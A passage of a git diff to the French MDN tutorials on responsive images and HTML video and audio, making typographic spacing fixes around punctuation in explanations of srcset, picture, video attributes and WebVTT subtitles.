quoi cela ressemble dans [srcset-resolutions.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html)) : +Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que tout le monde voit l'image avec la même taille effective sur l'écran, vous pouvez permettre au navigateur de choisir une image de résolution appropriée en utilisant `srcset` avec `x-descriptors` et sans `sizes` — une syntaxe un peu plus facile en quelque sorte ! Vous pouvez trouver un exemple de ce à quoi cela ressemble dans [srcset-resolutions.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html)) : ```html <img srcset="elva-fairy-320w.jpg, @@ -146,7 +146,7 @@ Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que src="elva-fairy-640w.jpg" alt="Elva habillée en fée"> ``` -Dans cet exemple, le CSS suivant est appliqué à l'image de façon à ce qu'elle ait une largeur de 320 pixels à l'écran (également nommée pixels CSS) : +Dans cet exemple, le CSS suivant est appliqué à l'image de façon à ce qu'elle ait une largeur de 320 pixels à l'écran (également nommée pixels CSS) : ```css img { @@ -160,13 +160,13 @@ Dans ce cas, `sizes` n'est pas nécessaire — le navigateur détermine simpleme Pour résumer, le problème des **décisions de nature artistique** réside dans le choix des modifications à apporter à l'image selon les diverses tailles d'affichage. Par exemple, si un instantané d'un grand plan paysager avec une personne au milieu, correctement affiché sur un site web avec le navigateur d'un ordinateur de bureau, est rétréci lorsque ce même site est visionné sur un navigateur de mobile, cet instantané risque d'avoir mauvaise mine, car la personne sera vraiment minuscule et difficile à voir. Il serait probablement préférable de montrer sur un mobile une image portrait plus petite d'un zoom sur la personne. L'élément [`<picture>`](/fr/docs/Web/HTML/Element/picture) nous permet d'implémenter ce type de solution. -Revenons à notre exemple initial du fichier [not-responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html). Cette image nécessite d'opérer un choix de nature artistique : +Revenons à notre exemple initial du fichier [not-responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html). Cette image nécessite d'opérer un choix de nature artistique : ```html <img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras"> ``` -Arrangeons cela avec [`<picture>`](/fr/docs/Web/HTML/Element/picture)} ! Comme pour `<vidéo>` et `<audio>`, l'élément `<picture>` est une enveloppe conteneur de plusieurs éléments [`<source>`](/fr/docs/Web/HTML/Element/Source)} ; ces éléments indiquent plusieurs sources différentes entre lesquelles le navigateur peut choisir ; ils sont suivis du très important élément [`<img>`](/fr/docs/Web/HTML/Element/Img)}. Le code dans [responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) ressemblera à : +Arrangeons cela avec [`<picture>`](/fr/docs/Web/HTML/Element/picture)} ! Comme pour `<vidéo>` et `<audio>`, l'élément `<picture>` est une enveloppe conteneur de plusieurs éléments [`<source>`](/fr/docs/Web/HTML/Element/Source)} ; ces éléments indiquent plusieurs sources différentes entre lesquelles le navigateur peut choisir ; ils sont suivis du très important élément [`<img>`](/fr/docs/Web/HTML/Element/Img)}. Le code dans [responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) ressemblera à : ```html <picture> @@ -176,17 +176,17 @@ Arrangeons cela avec [`<picture>`](/fr/docs/Web/HTML/Element/picture)} ! Comme </picture> ``` -- Les éléments `<source>` incluent un attribut `media` qui contient une condition pour le média — comme avec le premier exemple `srcset`, ces conditions sont testées pour décider de l'image à montrer — le premier qui renvoie `true` sera affiché. Dans notre cas, si la largeur de la fenêtre est de 799 px ou moins, l'image du premier élément `<source>` sera affichée. Si la largeur de la fenêtre est de 800 px plus, ce sera la deuxième. +- Les éléments `<source>` incluent un attribut `media` qui contient une condition pour le média — comme avec le premier exemple `srcset`, ces conditions sont testées pour décider de l'image à montrer — le premier qui renvoie `true` sera affiché. Dans notre cas, si la largeur de la fenêtre est de 799 px ou moins, l'image du premier élément `<source>` sera affichée. Si la largeur de la fenêtre est de 800 px plus, ce sera la deuxième. - Les attributs `srcset` contiennent le chemin vers l'image à afficher. Noter que comme avec `<img>` plus haut, `<source>` peut prendre plusieurs attributs `srcset` référençant plusieurs images, ainsi qu'un attribut `sizes` également. Ainsi, non seulement vous pouvez offrir plusieurs images par l'intermédiaire d'un élément `<picture>`, mais aussi offrir plusieurs résolutions pour chacune d'entre elles. En réalité, vous ne ferez pas ce type de montage très souvent. - Dans tous les cas, vous devez fournir un élément `<img>`, avec `src` et `alt`, juste avant `</picture>`, sinon aucune image n'apparaîtra. Cet élément ménage un cas par défaut appliqué si aucune des conditions de média ne renvoie vrai (vous pouvez réellement enlever le deuxième élément `<source>` dans cet exemple), et une solution de repli pour les navigateurs qui ne prennent pas en charge l'élément `<picture>`. -Ce code nous permet d'afficher une image adaptée à la fois sur un écran large et sur un écran étroit, comme montré ci‑dessous : +Ce code nous permet d'afficher une image adaptée à la fois sur un écran large et sur un écran étroit, comme montré ci‑dessous :  -> **Note :** vous ne devez utiliser l'attribut `media` qu'avec un scénario de décision de nature artistique ; quand vous utilisez `media`, ne mettez pas de conditions pour le média avec l'attribut `sizes.` +> **Note :** vous ne devez utiliser l'attribut `media` qu'avec un scénario de décision de nature artistique ; quand vous utilisez `media`, ne mettez pas de conditions pour le média avec l'attribut `sizes.` -### Pourquoi ne peut-on pas réaliser cela avec le CSS ou du JavaScript ? +### Pourquoi ne peut-on pas réaliser cela avec le CSS ou du JavaScript ? Lorsque le navigateur commence à charger une page, il commence à télécharger (précharger) toutes les images avant que l'analyseur principal n'ait commencé à charger et à interpréter le CSS et le JavaScript de la page. Cette technique est utile, car elle permet de réduire de 20 % en moyenne le temps de chargement des pages. Cependant, elle n'est d'aucune aide pour les images adaptatives, d'où la nécessité de mettre en œuvre des solutions comme `srcset`. Vous ne pourriez pas, par exemple, charger l'élément [`<img>`](/fr/docs/Web/HTML/Element/Img)}, puis détecter la largeur de fenêtre avec JavaScript et changer dynamiquement l'image source pour une image plus petite si désiré. À ce moment-là, l'image originale aurait déjà été chargée, et vous chargeriez en plus la petite image, ce qui est encore pire en termes d'image adaptative. @@ -194,7 +194,7 @@ Lorsque le navigateur commence à charger une page, il commence à télécharger Il existe plusieurs nouveaux formats d'image très intéressants (comme WebP et JPEG-2000) qui sont à la fois de taille réduite et de haute qualité. Toutefois, la prise en charge par les navigateurs est ponctuelle. -`<picture>` nous permet de servir encore les plus vieux navigateurs. Vous pouvez indiquer le type MIME dans les attributs `type` de façon à ce que le navigateur puisse immédiatement rejeter les types de fichiers non pris en charge : +`<picture>` nous permet de servir encore les plus vieux navigateurs. Vous pouvez indiquer le type MIME dans les attributs `type` de façon à ce que le navigateur puisse immédiatement rejeter les types de fichiers non pris en charge : ```html <picture> @@ -208,23 +208,23 @@ Il existe plusieurs nouveaux formats d'image très intéressants (comme WebP et - Dans un élément `<source>`, vous ne pouvez vous référer qu'à des images du type déclaré avec `type`. - Comme précédemment, il n'y a pas d'inconvénient à utiliser des listes avec une virgule comme séparateur avec `srcset` et `sizes`, selon les besoins. -## Testez vos compétences ! +## Testez vos compétences ! -Et vous voici à la fin de cet article, mais saurez-vous vous rappeler les informations les plus importantes ? Vous pourrez trouver une évaluation détaillée pour tester ces compétences à la fin du module : voir [Créer une page de présentation de Mozilla](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page). +Et vous voici à la fin de cet article, mais saurez-vous vous rappeler les informations les plus importantes ? Vous pourrez trouver une évaluation détaillée pour tester ces compétences à la fin du module : voir [Créer une page de présentation de Mozilla](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page). ## Résumé -Voilà notre paquet‑cadeau pour des images adaptatives — nous espérons que ces nouvelles techniques vous plaisent. Résumons, nous vous avons exposé deux méthodes distinctes pour résoudre ce problème : +Voilà notre paquet‑cadeau pour des images adaptatives — nous espérons que ces nouvelles techniques vous plaisent. Résumons, nous vous avons exposé deux méthodes distinctes pour résoudre ce problème : -- **les décisions de nature artistique** : cette méthode consiste à servir des images recadrées selon les diverses mises en page — par exemple, une image paysagère offrant toute la scène pour une mise en page destinée aux ordinateurs de bureau et une image portrait montrant le sujet principal zoomé de près pour une mise en page destinée aux mobiles. On résout alors ce problème avec [`<picture>`](/fr/docs/Web/HTML/Element/picture). -- **la commutation de résolution** : cette méthode consiste à servir des images issues de fichiers plus petits pour les périphériques à petit écran, car ils n'ont que faire des grosses images prévues pour les écrans d'ordinateurs de bureau — et en plus, en option, adapter la résolution de l'image aux écrans de faible ou grande densité. On résout ce problème avec l'utilisation de [graphiques vectoriels](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) (images SVG) ainsi qu'à l'aide des attributs [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset) et [`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes). +- **les décisions de nature artistique** : cette méthode consiste à servir des images recadrées selon les diverses mises en page — par exemple, une image paysagère offrant toute la scène pour une mise en page destinée aux ordinateurs de bureau et une image portrait montrant le sujet principal zoomé de près pour une mise en page destinée aux mobiles. On résout alors ce problème avec [`<picture>`](/fr/docs/Web/HTML/Element/picture). +- **la commutation de résolution** : cette méthode consiste à servir des images issues de fichiers plus petits pour les périphériques à petit écran, car ils n'ont que faire des grosses images prévues pour les écrans d'ordinateurs de bureau — et en plus, en option, adapter la résolution de l'image aux écrans de faible ou grande densité. On résout ce problème avec l'utilisation de [graphiques vectoriels](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) (images SVG) ainsi qu'à l'aide des attributs [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset) et [`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes). -Cet article est aussi la conclusion de l'ensemble du module [Multimedia et intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding) ! Avant de passer à autre chose, il vous reste à essayer notre évaluation multimédia et à voir comment vous vous en sortez. Amusez-vous bien. +Cet article est aussi la conclusion de l'ensemble du module [Multimedia et intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding) ! Avant de passer à autre chose, il vous reste à essayer notre évaluation multimédia et à voir comment vous vous en sortez. Amusez-vous bien. ## Voir aussi - [L'excellente introduction aux images adaptatives de Jason Grigsby](http://blog.cloudfour.com/responsive-images-101-definitions) -- [Images adaptatives : si vous changez juste de résolution, utilisez `srcset`](https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/) — comporte plus d'explications sur la façon dont le navigateur retravaille l'image à utiliser +- [Images adaptatives : si vous changez juste de résolution, utilisez `srcset`](https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/) — comporte plus d'explications sur la façon dont le navigateur retravaille l'image à utiliser - [`<img>`](/fr/docs/Web/HTML/Element/Img) - [`<picture>`](/fr/docs/Web/HTML/Element/picture) - [`<source>`](/fr/docs/Web/HTML/Element/Source) diff --git a/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md b/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md index 8d4e4c5fdf..acaf937598 100644 --- a/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md @@ -21,16 +21,16 @@ Maintenant que nous sommes à l'aise pour ajouter de simples images dans une pag <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> - Compétences informatiques de base, + Compétences informatiques de base, <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" >installation des outils de base</a >, bases de la <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" >manipulation des fichiers</a - >, connaissance des fondamentaux du HTML (comme expliqué dans + >, connaissance des fondamentaux du HTML (comme expliqué dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" >Commencer avec le HTML)</a > @@ -41,7 +41,7 @@ Maintenant que nous sommes à l'aise pour ajouter de simples images dans une pag </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Apprendre à intégrer vidéos et audios dans une page web et y ajouter des légendes et des sous-titres. @@ -52,13 +52,13 @@ Maintenant que nous sommes à l'aise pour ajouter de simples images dans une pag ## Audio et vidéo sur le web -Les développeurs ont toujours voulu utiliser la vidéo et l'audio sur le web et ce, dès le début des années 2000, quand nous avons commencé à disposer d'une bande passante suffisamment rapide pour supporter toutes sortes de vidéos (les fichiers vidéo étant beaucoup plus lourds que du texte ou des images). Au départ, les technologies embarquées telles que HTML n'avaient pas la capacité d'intégrer de la vidéo ou de l'audio, donc, les solutions « propriétaires » (ou basées sur des greffons) comme [Flash](https://fr.wikipedia.org/wiki/Adobe_Flash) (puis, plus tard, [Silverlight](https://fr.wikipedia.org/wiki/Silverlight)) sont devenues très populaires pour gérer ce type de contenu. Ces technologies fonctionnaient bien mais avaient de nombreux inconvénients, comme une relation aléatoire avec les fonctionnalités HTML/CSS, des problèmes de sécurité et d'accessibilité. +Les développeurs ont toujours voulu utiliser la vidéo et l'audio sur le web et ce, dès le début des années 2000, quand nous avons commencé à disposer d'une bande passante suffisamment rapide pour supporter toutes sortes de vidéos (les fichiers vidéo étant beaucoup plus lourds que du texte ou des images). Au départ, les technologies embarquées telles que HTML n'avaient pas la capacité d'intégrer de la vidéo ou de l'audio, donc, les solutions « propriétaires » (ou basées sur des greffons) comme [Flash](https://fr.wikipedia.org/wiki/Adobe_Flash) (puis, plus tard, [Silverlight](https://fr.wikipedia.org/wiki/Silverlight)) sont devenues très populaires pour gérer ce type de contenu. Ces technologies fonctionnaient bien mais avaient de nombreux inconvénients, comme une relation aléatoire avec les fonctionnalités HTML/CSS, des problèmes de sécurité et d'accessibilité. -Une solution embarquée devrait résoudre la plupart de ces problèmes. Heureusement, après quelques années, la spécification {{glossary("HTML5")}} apportait ces améliorations avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}} et des {{Glossary("API","APIs")}}{{Glossary("JavaScript")}} flambants neufs pour les contrôler. Nous ne verrons pas JavaScript ici — nous poserons juste les fondamentaux qui peuvent être obtenus avec HTML. +Une solution embarquée devrait résoudre la plupart de ces problèmes. Heureusement, après quelques années, la spécification {{glossary("HTML5")}} apportait ces améliorations avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}} et des {{Glossary("API","APIs")}}{{Glossary("JavaScript")}} flambants neufs pour les contrôler. Nous ne verrons pas JavaScript ici — nous poserons juste les fondamentaux qui peuvent être obtenus avec HTML. -Nous ne vous apprendrons pas à produire des fichiers audio ou vidéo — cela demande des compétences totalement différentes. Nous vous conseillons ce lien Github [fichiers d'échantillons audio et vidéo et exemples de code](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content) pour votre expérience personnelle, au cas où vous ne pourriez pas y accéder par vous-même. +Nous ne vous apprendrons pas à produire des fichiers audio ou vidéo — cela demande des compétences totalement différentes. Nous vous conseillons ce lien Github [fichiers d'échantillons audio et vidéo et exemples de code](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content) pour votre expérience personnelle, au cas où vous ne pourriez pas y accéder par vous-même. -> **Note :** Avant de commencer, vous devez savoir qu'il existe un grand nombre de fournisseurs de vidéos en ligne {{glossary("OVP","OVPs")}} comme [YouTube](https://www.youtube.com/), [Dailymotion](http://www.dailymotion.com), et [Vimeo](https://vimeo.com/). Pour l'audio, voyez [Soundcloud](https://soundcloud.com/) par exemple. Ces sociétés offrent un moyen simple d'héberger et de consommer de la vidéo, donc, vous n'avez pas à vous soucier de l'énorme consommation de bande passante. Ils peuvent aussi vous proposer du code "tout-prêt" pour intégrer la vidéo/audio dans vos pages web. Si vous suivez cette procédure, vous vous éviterez quelqu'unes des difficultés abordées dans cet article. Nous parlerons en détails de ces services dans l'article suivant. +> **Note :** Avant de commencer, vous devez savoir qu'il existe un grand nombre de fournisseurs de vidéos en ligne {{glossary("OVP","OVPs")}} comme [YouTube](https://www.youtube.com/), [Dailymotion](http://www.dailymotion.com), et [Vimeo](https://vimeo.com/). Pour l'audio, voyez [Soundcloud](https://soundcloud.com/) par exemple. Ces sociétés offrent un moyen simple d'héberger et de consommer de la vidéo, donc, vous n'avez pas à vous soucier de l'énorme consommation de bande passante. Ils peuvent aussi vous proposer du code "tout-prêt" pour intégrer la vidéo/audio dans vos pages web. Si vous suivez cette procédure, vous vous éviterez quelqu'unes des difficultés abordées dans cet article. Nous parlerons en détails de ces services dans l'article suivant. ### L' élément \<video> @@ -73,21 +73,21 @@ L'élément {{htmlelement("video")}} vous permet d'intégrer de la vidéo très Les fonctionnalités de ce code sont : - {{htmlattrxref("src","video")}} - - : De la même manière que pour l'élément {{htmlelement("img")}}, l'attribut `src` (source) contient le chemin vers la vidéo que vous voulez intégrer. Cela fonctionne de la même manière. + - : De la même manière que pour l'élément {{htmlelement("img")}}, l'attribut `src` (source) contient le chemin vers la vidéo que vous voulez intégrer. Cela fonctionne de la même manière. - {{htmlattrxref("controls","video")}} - - : Les utilisateurs doivent avoir un contrôle sur la lecture de la vidéo ou de l'audio. (c'est particulièrement crucial pour les gens ayant de l'[épilepsie](https://fr.wikipedia.org/wiki/%C3%89pilepsie).) Vous devez vous servir de l'attribut `controls` pour appeler l'interface de contrôle du navigateur ou construire votre propre interface en utilisant l'[API JavaScript](/fr/docs/Web/API/HTMLMediaElement) adéquat. Au minimum, l'interface doit avoir un contrôle de démarrage et d'arrêt (start/stop) du média et un pour ajuster le volume. + - : Les utilisateurs doivent avoir un contrôle sur la lecture de la vidéo ou de l'audio. (c'est particulièrement crucial pour les gens ayant de l'[épilepsie](https://fr.wikipedia.org/wiki/%C3%89pilepsie).) Vous devez vous servir de l'attribut `controls` pour appeler l'interface de contrôle du navigateur ou construire votre propre interface en utilisant l'[API JavaScript](/fr/docs/Web/API/HTMLMediaElement) adéquat. Au minimum, l'interface doit avoir un contrôle de démarrage et d'arrêt (start/stop) du média et un pour ajuster le volume. - Le paragraphe dans la balise `<video>` - - : Cela peut s'appeler solution de repli ou contenu de secours (fallback content) — si le navigateur accédant à la page ne supporte pas l'élément `<video>` , cela offre un texte alternatif qui peut être ce que vous voulez ; dans ce cas nous avons mis un lien direct au fichier vidéo, afin que l'utilisateur puisse au moins y accéder sans avoir à se soucier du navigateur qu'il utilise. + - : Cela peut s'appeler solution de repli ou contenu de secours (fallback content) — si le navigateur accédant à la page ne supporte pas l'élément `<video>`, cela offre un texte alternatif qui peut être ce que vous voulez ; dans ce cas nous avons mis un lien direct au fichier vidéo, afin que l'utilisateur puisse au moins y accéder sans avoir à se soucier du navigateur qu'il utilise. La vidéo intégrée donnerait quelque chose comme ça :  -Faites un essai avec [l'exemple ici](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html). (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html).) +Faites un essai avec [l'exemple ici](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html). (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html).) ### Gestion de différents formats -Il y a un problème avec l'exemple au-dessus que vous avez dû rencontrer si vous avez accédé au lien « exemple ici » avec un navigateur comme Safari ou Internet Explorer. La vidéo ne se lancera pas ! Ceci parce que les navigateurs acceptent des formats différents de video et d'audio. +Il y a un problème avec l'exemple au-dessus que vous avez dû rencontrer si vous avez accédé au lien « exemple ici » avec un navigateur comme Safari ou Internet Explorer. La vidéo ne se lancera pas ! Ceci parce que les navigateurs acceptent des formats différents de video et d'audio. Voyons-en rapidement la terminologie. Les formats comme le MP3, MP4 et le WebM sont appelés des [formats conteneurs](https://fr.wikipedia.org/wiki/Format_conteneur). Ils contiennent plusieurs parties qui, ensemble, donnent l'intégralité de la chanson ou de la vidéo — comme une piste audio, une piste vidéo et les métadonnées qui décrivent le média qui est lu. @@ -95,7 +95,7 @@ Les pistes audio et vidéo sont aussi de différents formats, par exemple : - Un conteneur WebM empaquette de l'audio Ogg Vorbis avec de la vidéo VP8/VP9. Firefox et Chrome, en particulier, assurent sa prise en charge. - Un conteneur MP4 assemble de l'audio AAC ou MP3 en audio avec de la vidéo H.264. Internet Explorer et Safari, principalement, le prennent en charge. -- L'ancien conteneur Ogg rassemblait de l'audio Ogg Vorbis et de la vidéo Ogg Theora. Il était essentiellement pris en charge par Firefox and Chrome, mais il a été supplanté par le format WebM qui est de meilleure qualité. +- L'ancien conteneur Ogg rassemblait de l'audio Ogg Vorbis et de la vidéo Ogg Theora. Il était essentiellement pris en charge par Firefox and Chrome, mais il a été supplanté par le format WebM qui est de meilleure qualité. Un lecteur audio peut jouer directement une piste audio, par ex. un fichier MP3 ou Ogg. Elles ne nécessitent pas de conteneur. @@ -129,23 +129,23 @@ Chaque élément \<source> possède également un attribut de type. C'est facult ### Autres fonctionnalités de \<video> -Il y a possibilité d'inclure d'autres fonctionnalités dans une vidéo HTML5. Regardez notre troisième exemple : +Il y a possibilité d'inclure d'autres fonctionnalités dans une vidéo HTML5. Regardez notre troisième exemple : ```html <video controls width="400" height="400" - autoplay loop muted - poster="poster.png"> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien à la vidéo</a>.</p> + autoplay loop muted + poster="poster.png"> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien à la vidéo</a>.</p> </video> ``` -Cela produit une sortie du type suivant : +Cela produit une sortie du type suivant :  -Voici les nouvelles fonctionnalités : +Voici les nouvelles fonctionnalités : - {{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}} - : Il est possible de contrôler la taille de la vidéo soit avec ces attributs, soit avec le {{Glossary("CSS")}}. Dans les deux cas, les vidéos conservent le rapport largeur‑hauteur natif — désigné sous le vocable **rapport de proportions**. Si ce dernier ne correspond pas aux tailles indiquées, la vidéo occupera tout l'espace horizontal et l'espace non rempli sera de la couleur d'arrière plan unie par défaut. @@ -159,17 +159,17 @@ Voici les nouvelles fonctionnalités : - : Cet attribut prend comme valeur l'URL d'une image affichée avant la lecture de la vidéo. Il s'utilise en tant que logo de démarrage ou de publicité. - {{htmlattrxref("preload","video")}} - - : Cet attribut s'utilise pour mettre en tampon les gros fichiers. Il peut prendre 3 valeurs : + - : Cet attribut s'utilise pour mettre en tampon les gros fichiers. Il peut prendre 3 valeurs : - - `"none"` : ne pas mettre le fichier dans un tampon - - `"auto"` : mettre le fichier média dans un tampon - - `"metadata"` : ne mettre que les métadonnées dans le tampon + - `"none"` : ne pas mettre le fichier dans un tampon + - `"auto"` : mettre le fichier média dans un tampon + - `"metadata"` : ne mettre que les métadonnées dans le tampon -Vous trouverez cet exemple [prêt pour l'interprétation](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html) sur Github ( voir aussi le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html)). Notez que nous n'avons pas inséré l'attribut `autoplay` dans la version en direct — si la vidéo débute dès le chargement de la page, vous ne pourrez pas voir le poster ! +Vous trouverez cet exemple [prêt pour l'interprétation](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html) sur Github ( voir aussi le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html)). Notez que nous n'avons pas inséré l'attribut `autoplay` dans la version en direct — si la vidéo débute dès le chargement de la page, vous ne pourrez pas voir le poster ! -### L'élément \<audio> +### L'élément \<audio> -L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière que l'élément {{htmlelement("video")}}, mais avec quelques menues différences décrites plus bas. Un exemple classique ressemble à ceci : +L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière que l'élément {{htmlelement("video")}}, mais avec quelques menues différences décrites plus bas. Un exemple classique ressemble à ceci : ```html <audio controls> @@ -179,13 +179,13 @@ L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière </audio> ``` -Vous verrez quelque chose de ce genre dans un navigateur : +Vous verrez quelque chose de ce genre dans un navigateur :  > **Note :** Vous pouver [lancer la démo de l'audio en direct](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html) sur Github (voir aussi le [code source de l'interpréteur](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html).) -Cela prend moins de place qu'une vidéo, et il n'y a pas de composante visuelle — il est juste nécessaire d'afficher les contrôles de lecture de l'audio. Voici les autres différences avec les vidéos HTML5 : +Cela prend moins de place qu'une vidéo, et il n'y a pas de composante visuelle — il est juste nécessaire d'afficher les contrôles de lecture de l'audio. Voici les autres différences avec les vidéos HTML5 : - L'élément {{htmlelement("audio")}} ne prend pas en charge les attributs `width`/`height` — redisons‑le, il n'y a pas de composant visuel, il n'y donc pas lieu d'assigner une largeur ou une hauteur. - Il ne prend pas en charge non plus l'attribut `poster` — toujours pas de composant visuel. @@ -202,9 +202,9 @@ Nous allons maintenant parler d'un concept un peu plus avancé vraiment utile à Ne serait-il pas agréable de pouvoir fournir à ces personnes la transcription des paroles prononcés dans l'audio ou la vidéo ? Eh bien, avec des vidéos HTML5 vous le pouvez, à l'aide du format WebVTT et de l'élément {{htmlelement("track")}}. -> **Note :** « Transcrire » signifie écrire des paroles sous forme de texte, et « transcription » est l'action correspondante. +> **Note :** « Transcrire » signifie écrire des paroles sous forme de texte, et « transcription » est l'action correspondante. -WebVTT est un format d'écriture de fichiers texte ; il contient nombre de chaînes de texte avec des métadonnées comme l'instant dans la vidéo où vous souhaitez l'affichage du texte, et même une information succinte sur le style et la position de celui‑ci. Ces chaînes textuelles sont appelées des marqueurs, les plus courants étant : +WebVTT est un format d'écriture de fichiers texte ; il contient nombre de chaînes de texte avec des métadonnées comme l'instant dans la vidéo où vous souhaitez l'affichage du texte, et même une information succinte sur le style et la position de celui‑ci. Ces chaînes textuelles sont appelées des marqueurs, les plus courants étant : - les sous‑titres (`subtitles`) - : Traductions d'éléments d'une langue étrangère pour les personnes ne comprenant pas les paroles de l'audio. @@ -213,7 +213,7 @@ WebVTT est un format d'écriture de fichiers texte ; il contient nombre de cha - les descriptions programmées (`descriptions`) - : Textes convertis en audio, pour aider les personnes avec des défauts de vision. -Un fichier WebVTT typique ressemblera à : +Un fichier WebVTT typique ressemblera à : WEBVTT @@ -227,12 +227,12 @@ Un fichier WebVTT typique ressemblera à : ... -Pour qu'il soit affiché avec la diffusion du média HTML, il faut : +Pour qu'il soit affiché avec la diffusion du média HTML, il faut : 1. Enregistrer le fichier avec l'extension `.vtt` dans un endroit sensé. -2. Lier le fichier `.vtt` avec l'élément {{htmlelement("track")}}. `<track>` doit être placé entre les balises `<audio>` ou `<video>`, mais après tous les éléments `<source>`. Utilisez l'attribut {{htmlattrxref("kind","track")}} pour préciser si les marqueurs sont `subtitles`, `captions` ou `descriptions`. Plus loin, utilisez l'attribut {{htmlattrxref("srclang","track")}} pour indiquer au navigateur la langue dans laquelle sont écrit les sous‑titres. +2. Lier le fichier `.vtt` avec l'élément {{htmlelement("track")}}. `<track>` doit être placé entre les balises `<audio>` ou `<video>`, mais après tous les éléments `<source>`. Utilisez l'attribut {{htmlattrxref("kind","track")}} pour préciser si les marqueurs sont `subtitles`, `captions` ou `descriptions`. Plus loin, utilisez l'attribut {{htmlattrxref("srclang","track")}} pour indiquer au navigateur la langue dans laquelle sont écrit les sous‑titres. -Voici un exemple : +Voici un exemple : ```html <video controls> @@ -242,26 +242,26 @@ Voici un exemple : </video> ``` -Il en résultera une vidéo dont les sous-titres seront affichés un peu comme ceci : +Il en résultera une vidéo dont les sous-titres seront affichés un peu comme ceci :  -Pour plus de détails, lisez [Ajouter des légendes et des sous‑titres aux vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video). Vous [trouverez un exemple](http://iandevlin.github.io/mdn/video-player-with-captions/), écrit par Ian Devlin, accompagnant cet article sur Github (voyez le [code source](https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions) aussi). Cet exemple utilise un peu de JavaScript pour permettre à l'utilisateur de choisir entre différents sous‑titres. Notez que pour activer les sous‑titres, vous devez presser le bouton « CC » et selectionner une option — English, Deutsch ou Español. +Pour plus de détails, lisez [Ajouter des légendes et des sous‑titres aux vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video). Vous [trouverez un exemple](http://iandevlin.github.io/mdn/video-player-with-captions/), écrit par Ian Devlin, accompagnant cet article sur Github (voyez le [code source](https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions) aussi). Cet exemple utilise un peu de JavaScript pour permettre à l'utilisateur de choisir entre différents sous‑titres. Notez que pour activer les sous‑titres, vous devez presser le bouton « CC » et selectionner une option — English, Deutsch ou Español. > **Note :** Les pistes texte peuvent aussi vous aider avec {{glossary("SEO")}}, car les moteurs de recherche sont très performants sur le texte. Les pistes textes permettent aussi aux moteurs de recherche de faire un lien 